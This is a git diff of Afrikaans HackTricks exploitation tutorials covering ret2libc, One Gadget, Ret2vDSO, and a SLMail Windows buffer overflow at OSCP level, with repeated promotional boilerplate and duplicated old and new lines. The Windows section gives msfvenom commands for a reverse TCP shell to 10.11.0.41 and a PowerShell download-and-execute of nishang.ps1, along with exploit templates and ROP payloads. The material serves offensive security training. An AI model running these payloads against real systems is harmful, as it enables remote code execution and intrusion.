* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Basiese Inligting**
Die essensie van **Ret2Libc** is om die uitvoervloei van 'n kwesbare program te herlei na 'n funksie binne 'n gedeelde biblioteek (bv., **system**, **execve**, **strcpy**) in plaas van die uitvoering van aanvaller-voorsiene shellkode op die stok. Die aanvaller stel 'n lading op wat die terugkeeradres op die stok wysig om na die gewenste biblioteekfunksie te wys, terwyl hy ook reël vir enige nodige argumente om korrek opgestel te word volgens die oproepkonvensie.
Die essensie van **Ret2Libc** is om die uitvoervloei van 'n kwesbare program om te lei na 'n funksie binne 'n gedeelde biblioteek (bv. **system**, **execve**, **strcpy**) in plaas van die uitvoering van aanvaller-voorsiene shellcode op die stok. Die aanvaller stel 'n lading op wat die terugkeeradres op die stok wysig om na die gewenste biblioteekfunksie te wys, terwyl hy ook reël vir enige nodige argumente om korrek opgestel te word volgens die oproepkonvensie.
### **Voorbeeldstappe (vereenvoudig)**
* Kry die adres van die funksie om te roep (bv. system) en die bevel om te roep (bv. /bin/sh)
* Genereer 'n ROP-ketting om die eerste argument wat na die bevelstring wys en die uitvoervloei na die funksie te stuur
* Genereer 'n ROP-ketting om die eerste argument wat na die bevelstring wys, en die uitvoervloei na die funksie te stuur
## Die adresse vind
## Vind die adresse
* Veronderstel dat die `libc` wat gebruik word die een van die huidige masjien is, kan jy vind waar dit in die geheue gelaai sal word met:
@ -55,7 +56,7 @@ find "/bin/sh"
```
### Gebruik /proc/\<PID>/maps
Indien die proses elke keer as jy met dit praat **kinders skep** (netwerkbediener), probeer om daardie lêer te **lees** (jy sal waarskynlik 'n root wees).
Indien die proses elke keer as jy met dit praat **kinders skep** (netwerkbediener), probeer om daardie lêer te **lees** (jy sal waarskynlik rootregte benodig).
Hier kan jy **presies vind waar die libc gelaai is** binne die proses en **waar dit gelaai gaan word** vir elke kind van die proses.
@ -65,7 +66,7 @@ In hierdie geval is dit gelaai by **0xb75dc000** (Dit sal die basisadres van lib
## Onbekende libc
Dit mag moontlik wees dat jy **nie weet watter libc die binêre lê nie** (omdat dit dalk in 'n bediener geleë is waar jy geen toegang tot het nie). In daardie geval kan jy die kwesbaarheid misbruik om **sekere adresse te lek en te vind watter libc**-biblioteek gebruik word:
Dit mag moontlik wees dat jy **nie weet watter libc die binêre lê nie laai** (omdat dit dalk in 'n bediener geleë is waar jy geen toegang tot het nie). In daardie geval kan jy die kwesbaarheid misbruik om **sekere adresse te lek en te vind watter libc**-biblioteek gebruik word:
{% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/)
@ -79,7 +80,7 @@ En jy kan 'n pwntools-sjabloon hiervoor vind in:
### Ken libc met 2 verskuiwings
Kyk na die bladsy [https://libc.blukat.me/](https://libc.blukat.me/) en gebruik 'n **paar adresse** van funksies binne die libc om die **gebruikte weergawe** te bepaal.
Kyk na die bladsy [https://libc.blukat.me/](https://libc.blukat.me/) en gebruik 'n **paar adresse** van funksies binne die libc om die **gebruikte weergawe** te vind.
## ASLR omseil in 32-bits
@ -101,7 +102,7 @@ Voer 'n skaal uit deur net te spring na **een** spesifieke **adres** in libc:
## x86 Ret2lib Kodevoorbeeld
In hierdie voorbeeld is ASLR brute-force geïntegreer in die kode en die kwesbare binêre lêer is op 'n afgeleë bediener geleë:
In hierdie voorbeeld is ASLR brute-force geïntegreer in die kode en die kwesbare binêre lê op 'n afgeleë bediener:
```python
from pwn import *
@ -127,7 +128,7 @@ Kyk na die voorbeeld van:
## ARM64 Ret2lib Voorbeeld
In die geval van ARM64, spring die ret instruksie na waar die x30 register na wys en nie waar die stapel register na wys nie. Dit is dus 'n bietjie meer ingewikkeld.
In die geval van ARM64, spring die ret instruksie na waar die x30-register na wys en nie waar die stapelregister na wys nie. Dit is dus 'n bietjie meer ingewikkeld.
Ook in ARM64 doen 'n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en hulle in nuwes te verander nie).
@ -139,11 +140,11 @@ Kyk na die voorbeeld van:
## Ret-in-printf (of puts)
Dit maak dit moontlik om **inligting uit die proses te lek** deur `printf`/`puts` te roep met spesifieke data geplaas as 'n argument. Byvoorbeeld, deur die adres van `puts` in die GOT in 'n uitvoering van `puts` te plaas, sal die adres van `puts` in die geheue **lek**.
Dit maak dit moontlik om **inligting uit die proses te lek** deur `printf`/`puts` te roep met sekere spesifieke data as 'n argument geplaas. Byvoorbeeld, deur die adres van `puts` in die GOT in 'n uitvoering van `puts` te plaas, sal die adres van `puts` in die geheue **lek**.
## Ret2printf
Dit beteken basies die misbruik van 'n **Ret2lib om dit te omskep in 'n `printf` formaat string kwesbaarheid** deur die `ret2lib` te gebruik om printf te roep met die waardes om dit uit te buit (klink nutteloos maar moontlik):
Dit beteken basies die misbruik van 'n **Ret2lib om dit in 'n `printf` formaat string kwesbaarheid te omskep** deur die `ret2lib` te gebruik om printf te roep met die waardes om dit te benut (klink nutteloos maar moontlik):
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -154,12 +155,12 @@ Dit beteken basies die misbruik van 'n **Ret2lib om dit te omskep in 'n `printf`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, gegewe 'n lek na die adres van 'n funksie in libc, deur een gadget te gebruik
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ASLR geaktiveer maar geen PIE, die eerste stap is om 'n oorvloei te vul tot die byte 0x00 van die kanarie om dan puts te roep en dit te lek. Met die kanarie word 'n ROP gadget geskep om puts te roep om die adres van puts van die GOT te lek en dan 'n ROP gadget om `system('/bin/sh')` te roep
* 64-bis, ASLR geaktiveer maar geen PIE, die eerste stap is om 'n oorvloei te vul tot by die byte 0x00 van die kanarie om dan puts te roep en dit te lek. Met die kanarie word 'n ROP-gadget geskep om puts te roep om die adres van puts van die GOT te lek en dan 'n ROP-gadget om `system('/bin/sh')` te roep
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bits, ASLR geaktiveer, geen kanarie, stapel oorvloei in hoof van 'n kind funksie. ROP gadget om puts te roep om die adres van puts van die GOT te lek en dan 'n een gadget te roep.
* 64-bis, ASLR geaktiveer, geen kanarie, stapel oorvloei in hoof van 'n kindfunksie. ROP-gadget om puts te roep om die adres van puts van die GOT te lek en dan 'n een-gadget te roep.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 bits, geen pie, geen kanarie, geen relro, nx. Gebruik skryf funksie om die adres van skryf (libc) te lek en roep een gadget.
* 64-bis, geen pie, geen kanarie, geen relro, nx. Gebruik skryffunksie om die adres van skryf (libc) te lek en roep een gadget.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Gebruik 'n formaat string om die kanarie van die stapel te lek en 'n buffer oorvloei om in te roep na stelsel (dit is in die GOT) met die adres van `/bin/sh`.
* Gebruik 'n formaatstring om die kanarie van die stapel te lek en 'n buffer oorvloei om in te roep na stelsel (dit is in die GOT) met die adres van `/bin/sh`.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, geen relro, geen kanarie, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap van die stapel te lek. Misbruik die buffer oorvloei om 'n ret2lib te doen wat `system('/bin/sh')` roep (die heap adres is nodig om 'n kontrole te omseil).
* 32-bis, geen relro, geen kanarie, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap van die stapel te lek. Misbruik die buffer oorvloei om 'n ret2lib te doen wat `system('/bin/sh')` roep (die heap-adres is nodig om 'n kontrole te omseil).

View file

@ -1,33 +1,34 @@
# Een Gadget
{% hint style="success" %}
Leer en oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
[**One Gadget**](https://github.com/david942j/one\_gadget) maak dit moontlik om 'n skaal te verkry in plaas van die gebruik van **system** en **"/bin/sh". One Gadget** sal binne die libc-biblioteek 'n manier vind om 'n skaal te verkry (`execve("/bin/sh")`) deur net een **adres** te gebruik.\
Gewoonlik is daar egter sekere beperkings, die mees algemene en maklikste om te vermy is soos `[rsp+0x30] == NULL`. Aangesien jy die waardes binne die **RSP** beheer, hoef jy net meer NULL-waardes te stuur sodat die beperking vermy word.
[**One Gadget**](https://github.com/david942j/one\_gadget) maak dit moontlik om 'n skaal te bekom in plaas van die gebruik van **system** en **"/bin/sh". One Gadget** sal binne die libc-biblioteek 'n manier vind om 'n skaal te bekom (`execve("/bin/sh")`) deur net een **adres** te gebruik.\
Gewoonlik is daar egter sekere beperkings, die mees algemene en maklikste om te vermy is soos `[rsp+0x30] == NULL`. Aangesien jy die waardes binne die **RSP** beheer, hoef jy net nog 'n paar NULL-waardes te stuur sodat die beperking vermy word.
![](<../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Na die adres aangedui deur One Gadget moet jy **die basisadres waar `libc` gelaai is, byvoeg**.
Na die adres aangedui deur One Gadget moet jy die basisadres waar `libc` gelaai is, **byvoeg**.
{% hint style="success" %}
One Gadget is 'n **groot hulp vir Willekeurige Skryf 2 Uitvoer tegnieke** en kan **ROP-kettinge vereenvoudig** omdat jy slegs een adres hoef te roep (en aan die vereistes te voldoen).
One Gadget is 'n **groot hulp vir Willekeurige Skryf 2 Uitvoer tegnieke** en kan **ROP-kettinge vereenvoudig** omdat jy net een adres hoef te roep (en aan die vereistes te voldoen).
{% endhint %}
### ARM64
@ -43,16 +44,17 @@ pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ret2vDSO
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Daar kan **toestelle in die vDSO-gebied** wees, wat gebruik word om van gebruikersmodus na kernelmodus te verander. In hierdie tipe uitdagings word gewoonlik 'n kernelbeeld voorsien om die vDSO-gebied te dump.
Daar kan **toestelle in die vDSO-gebied** wees, wat gebruik word om van gebruikersmodus na kernelmodus te verander. In hierdie tipe uitdagings word gewoonlik 'n kernbeeld voorsien om die vDSO-gebied te dump.
Deur die voorbeeld te volg van [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) is dit moontlik om te sien hoe dit moontlik was om die vdso-seksie te dump en dit na die gasheer te skuif met:
```bash
@ -64,27 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
{% hint style="danger" %}
Let daarom op hoe dit moontlik kan wees om **ASLR te omseil deur die vdso te misbruik** as die kernel saamgestel is met CONFIG\_COMPAT\_VDSO aangesien die vdso-adres nie ge-randomiseer sal word nie: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
Let dus daarop hoe dit moontlik kan wees om **ASLR te omseil deur die vdso te misbruik** as die kernel saamgestel is met CONFIG\_COMPAT\_VDSO aangesien die vdso-adres nie ge-randomiseer sal word nie: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %}
### ARM64
Na die aflaai en nagaan van die vdso-seksie van 'n binêre lêer in kali 2023.2 arm64, kon ek nie enige interessante gadget daarin vind (geen manier om register van waardes in die stok te beheer nie of om x30 vir 'n ret te beheer) **behalwe 'n manier om 'n SROP te roep**. Kyk vir meer inligting in die voorbeeld van die bladsy:
Na die aflaai en nagaan van die vdso-seksie van 'n binêre lêer in kali 2023.2 arm64, kon ek nie enige interessante gadget daarin vind (geen manier om registerwaardes van die stok te beheer of om x30 vir 'n ret te beheer) **behalwe 'n manier om 'n SROP te roep**. Kontroleer meer inligting in die voorbeeld van die bladsy:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Windows Uitbuiting (Basiese Gids - OSCP vlak)
# Windows Uitbuiting (Basiese Gids - OSCP vlvl)
{% hint style="success" %}
Leer & oefen AWS Uitbuiting:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi Span Kenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Uitbuiting: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi Span Kenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel uitbuitingstruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Begin met die installeer van die SLMail-diens**
## Herlaai SLMail-diens
Elke keer as jy die **SLMail-diens wil herlaai** kan jy dit doen deur die Windows-konsole te gebruik:
Elke keer as jy die **diens SLMail moet herlaai**, kan jy dit doen deur die Windows-konsole te gebruik:
```
net start slmail
```
![](<../.gitbook/assets/image (988).png>)
## Baie basiese Python-uitbuitingsjabloon
## Baie basiese Python uitbuitingsjabloon
```python
#!/usr/bin/python
@ -74,7 +75,7 @@ Die patroon moet so groot wees as die buffer wat jy vantevore gebruik het om die
```
Verander die buffer van die aanval en stel die patroon in en lanceer die aanval.
'n Nuwe botsing behoort te verskyn, maar met 'n ander EIP-adres:
'n Nuwe crash behoort te verskyn, maar met 'n ander EIP-adres:
![](<../.gitbook/assets/image (636).png>)
@ -86,7 +87,7 @@ Kyk of die adres in jou patroon was:
```
Dit lyk asof **ons die EIP in offset 2606 kan wysig** van die buffer.
Kyk of dit die buffer van die aanval wysig:
Kyk of dit die buffer van die aanval kan wysig:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
@ -140,7 +141,7 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Die slegte karakters begin by 0x01 omdat 0x00 bykans altyd sleg is.
Die slegte karakters begin in 0x01 omdat 0x00 byna altyd sleg is.
Voer herhaaldelik die aanval uit met hierdie nuwe buffer deur die karakters wat nutteloos bevind word, te verwyder:.
@ -160,9 +161,9 @@ Met behulp van:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Jy sal die **geheuekaarte lys**. Soek vir 'n paar DLl wat het:
Jy sal die **geheuekaarte lys**. Soek vir 'n paar DLL wat het:
* **Herbasis: Vals**
* **Herbasisering: Vals**
* **VeiligeSEH: Vals**
* **ASLR: Vals**
* **NXCompat: Vals**
@ -186,7 +187,7 @@ Nou, binne hierdie geheue moet jy 'n paar JMP ESP byte vind, om dit te doen, voe
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Indien die uitbuiting nie werk nie maar wel behoort te werk (jy kan sien met ImDebg dat die shellcode bereik word), probeer om ander shellkodes te skep (msfvenom sal verskillende shellkodes skep vir dieselfde parameters).
Indien die uitbuiting nie werk nie maar wel moet (jy kan sien met ImDebg dat die shellcode bereik word), probeer om ander shellkodes te skep (msfvenom sal verskillende shellkodes skep vir dieselfde parameters).
**Voeg 'n paar NOPS aan die begin** van die shellcode by en gebruik dit en die terugkeeradres om te JMP ESP, en voltooi die uitbuiting:
```bash
@ -247,16 +248,17 @@ Voeg hierdie parameters by:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -2,23 +2,24 @@
## Kriptografiese/Samepressingsalgoritmes
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
